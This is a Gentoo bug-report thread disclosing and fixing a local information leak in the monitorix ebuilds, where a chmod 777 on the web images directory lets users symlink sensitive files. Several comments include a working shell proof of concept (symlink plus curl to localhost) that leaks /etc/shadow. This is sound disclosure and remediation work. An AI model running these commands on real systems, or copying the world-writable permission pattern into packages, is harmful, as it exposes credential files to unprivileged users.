Hi, The ebuilds for monitorix-{3.6.0,3.8.1} contain the following: pkg_postinst() { chmod 777 /var/lib/${PN}/www/imgs } A local non-privileged user can install a symlink under the mentioned directory and target a sensitive file which later on can be obtained through the web server interface. The following exploit successfully leaks /etc/shadow on my system: cd /var/lib/monitorix/www/imgs && \ rm -f fs01z.1day.png && \ ln -s /etc/shadow fs01z.1day.png && \ curl http://localhost:8080/monitorix/imgs/fs01z.1day.png I also asked amynka and wraeth, and they were able to reproduce the exploit on their systems. Looks like it is introduced by the following commits: 7292869a28d1dbb886b55fa21082e2372d3b8ee7 c5ba7eee25f51688e29caa2f034f53b03265350e There are also various other minor QA issues with the ebuilds: * Implicit system dependency in DEPEND * Missing '|| die' statements * Even though the package ships a Makefile, there's nothing to compile so the src_compile() phase needed to be converted to a no-op to prevent emake from being called. * Installs a systemd unit file to docs
Introduced in: https://github.com/gentoo/gentoo/pull/1269/ https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=7292869a28d1dbb886b55fa21082e2372d3b8ee7 https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=c5ba7eee25f51688e29caa2f034f53b03265350e
commit f49c8d21b6fb78d8d02edca113f4b693c385abd0 Author: Andreas K. Hüttel <dilfridge@gentoo.org> Date: Sat Apr 16 22:31:08 2016 +0200 package.mask: Mask monitorix-{3.6.0,3.8.1} because of security bug 580210
I've created a new pull request (https://github.com/gentoo/gentoo/pull/1286) to fix the main issue with the chmod line.
1. * Implicit system dependency in DEPEND 2. * Missing '|| die' statements 3. * Even though the package ships a Makefile, there's nothing to compile so the src_compile() phase needed to be converted to a no-op to prevent emake from being called. 4.* Installs a systemd unit file to docs ---------------------------------------------- 1. See the pull req for an expansion. 2. The sed statements do need the "|| die" 3. I am unsure on this point, considering this would equally apply to monitorix-3.5.1.ebuild which has long been in portage. 4. Yes it does, however not being cognisant of systemd, I reserve any comment on this. Yes, the fix need apply to both 3.6.0 & 3.8.1
(In reply to Ian Delaney from comment #4) > 1. * Implicit system dependency in DEPEND > 2. * Missing '|| die' statements > 3. * Even though the package ships a Makefile, there's nothing to compile so > the src_compile() phase needed to be converted to a no-op to prevent emake > from being called. > 4.* Installs a systemd unit file to docs > > ---------------------------------------------- > 1. See the pull req for an expansion. > 2. The sed statements do need the "|| die" > 3. I am unsure on this point, considering this would equally apply to > monitorix-3.5.1.ebuild which has long been in portage. > 4. Yes it does, however not being cognisant of systemd, I reserve any > comment on this. > > Yes, the fix need apply to both 3.6.0 & 3.8.1 Why did you commit it in the first place then? Are proxy-maintainer reviews not being done properly? How can so many QA issues make it into a commit? As the leader, I guess you should take some measures to prevent this. Also you are missing the main point of this bug which is: chmod 777 /var/lib/${PN}/www/imgs At least you didn't say anything about it.
The issue chmod 777 /var/lib/${PN}/www/imgs is covered in the pull request. " I've created a new pull request (https://github.com/gentoo/gentoo/pull/1286) to fix the main issue with the chmod line." That is where it is dealt with and why is referred point one with 1. See the pull req for an expansion.. Once this was made, it became the forum of repair.
The PR has been added to the main portage tree. Regarding the test that Göktürk Yüksek performed, I've run the same test with different root files either with 640 or 600 and I was able to read the 640 permission files, but I wasn't to read the 600 files. I did the test also with the /etc/shadow (by default root:root 640) and I wasn't able to read it if I chowned the file to 600: vagrant@BOX /var/lib/monitorix/www/imgs $ cd /var/lib/monitorix/www/imgs/ && rm -f system1.1day.png && ln -s /etc/shadow system1.1day.png && curl http://192.168.56.101:8080/monitorix/imgs/system1.1day.png <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> The requested URL /monitorix/imgs/system1.1day.png was not found on this server.<p> <hr> <address>Monitorix HTTP Server listening at 192.168.56.101 Port 8080</address> </body></html> vagrant@BOX /var/lib/monitorix/www/imgs $ ls -l /etc/shadow -rw------- 1 root root 612 Apr 14 20:00 /etc/shadow Has anyone performed this test? I've moved also the question upstream, but it seems the Developer doesn't have issues in his OS. I would like to check if the issue has also something to do with the file permissions.
(In reply to Peter from comment #7) > Regarding the test that Göktürk Yüksek performed, I've run the same test > with different root files either with 640 or 600 and I was able to read the > 640 permission files, but I wasn't to read the 600 files. I did the test > also with the /etc/shadow (by default root:root 640) and I wasn't able to > read it if I chowned the file to 600: The security issue as I understand it is somewhat twofold: The first part of the issue was that the `chmod 777` allowed any user account on the system to create symlinks that monitorix would subsequently follow. The other component is that the application follows symlinks from it's resource directories, allowing for sensitive system files to be exposed when a user creates a symlink. With the chmod removed, while the application will still follow symlinks and read files that permissions allow it to, only authorised users - namely root and the 'monitorix' user - can actually create the files now.
(In reply to Sam Jorna (wraeth) from comment #8) > With the chmod removed, while the application will still follow symlinks and > read files that permissions allow it to, only authorised users - namely root > and the 'monitorix' user - can actually create the files now. Yes, you're right. The issue its fixed with the latest ebuild (3.8.1-r1). But regarding the previous case, I'm trying to discern if there where more actors involved or not, to notify it upstream and see if the Developer has to patch something also, that's why I'm asking if someone can reproduce the issue following this steps: 1) chmod 777 /var/lib/monitorix/www/imgs 2) Check a file with 640 permissions for root:root 3) cd /var/lib/monitorix/www/imgs && \ rm -f fs01z.1day.png && \ ln -s [insert 640 root:root file here] fs01z.1day.png && \ curl http://localhost:8080/monitorix/imgs/fs01z.1day.png 4) Check a file with 600 permissions for root:root 5) cd /var/lib/monitorix/www/imgs && \ rm -f fs01z.1day.png && \ ln -s [insert 600 root:root file here] fs01z.1day.png && \ curl http://localhost:8080/monitorix/imgs/fs01z.1day.png In my case, I'm able to view the file that has read permissions for root group (640), but not the file that doesn't (600).
commit dc3913e2fc487a1a34691d00a33a0aed67d35777 Author: Pedro Arizmendi <silmano@gmail.com> Date: Sat Apr 16 23:13:05 2016 +0200 www-misc/monitorix: revbump to vn. 3.8.1-r1 - This update removes the information leakage bug created in the previous version. - Also updated some QA issues present. - Removed global USE flags from metadata.xml. - Removed masked versions 3.6.0 & 3.8.1. - Fixes the following bug Gentoo-bug: 580210 Reported-by: Göktürk Yüksek <gokturk@binghamton.edu>
(In reply to Peter from comment #9) > (In reply to Sam Jorna (wraeth) from comment #8) > > With the chmod removed, while the application will still follow symlinks and > > read files that permissions allow it to, only authorised users - namely root > > and the 'monitorix' user - can actually create the files now. > > Yes, you're right. The issue its fixed with the latest ebuild (3.8.1-r1). > But regarding the previous case, I'm trying to discern if there where more > actors involved or not, to notify it upstream and see if the Developer has > to patch something also, that's why I'm asking if someone can reproduce the > issue following this steps: > > 1) chmod 777 /var/lib/monitorix/www/imgs > 2) Check a file with 640 permissions for root:root > 3) cd /var/lib/monitorix/www/imgs && \ > rm -f fs01z.1day.png && \ > ln -s [insert 640 root:root file here] fs01z.1day.png && \ > curl http://localhost:8080/monitorix/imgs/fs01z.1day.png > 4) Check a file with 600 permissions for root:root > 5) cd /var/lib/monitorix/www/imgs && \ > rm -f fs01z.1day.png && \ > ln -s [insert 600 root:root file here] fs01z.1day.png && \ > curl http://localhost:8080/monitorix/imgs/fs01z.1day.png > > In my case, I'm able to view the file that has read permissions for root > group (640), but not the file that doesn't (600). I can confirm that with chmod 777, it leaks /etc/shadow (640) but it gives 404 for /etc/securetty (600). What's more strange is: $ sudo -u monitorix -g monitorix cat /etc/shadow cat: /etc/shadow: Permission denied $ sudo -u monitorix -g monitorix cat /etc/securetty cat: /etc/securetty: Permission denied $ cat status Name: monitorix-httpd State: S (sleeping) Uid: 111 111 111 111 Gid: 992 992 992 992 How is it possible for a process running with monitorix:monitorix privileges to access files that belong to the group "root"?
I've done some more tests with a Virtual Machine and it seems the monitorix process starts correctly upon starting the OS, but if I restart the process, I'm able to access files owned by the root group. Any idea why the daemon behaves differently once restarted? I do a simple /etc/init.d/monitorix restart, without changing any parameter.
(In reply to Peter from comment #12) > I've done some more tests with a Virtual Machine and it seems the monitorix > process starts correctly upon starting the OS, but if I restart the process, > I'm able to access files owned by the root group. Any idea why the daemon > behaves differently once restarted? > > I do a simple /etc/init.d/monitorix restart, without changing any parameter. I'll take a look at it sometime this coming weekend and report back.
This was fixed via https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=dc3913e2fc487a1a34691d00a33a0aed67d35777 No affected version left in repository, so nothing left to do for us. @ Security: Please proceed.
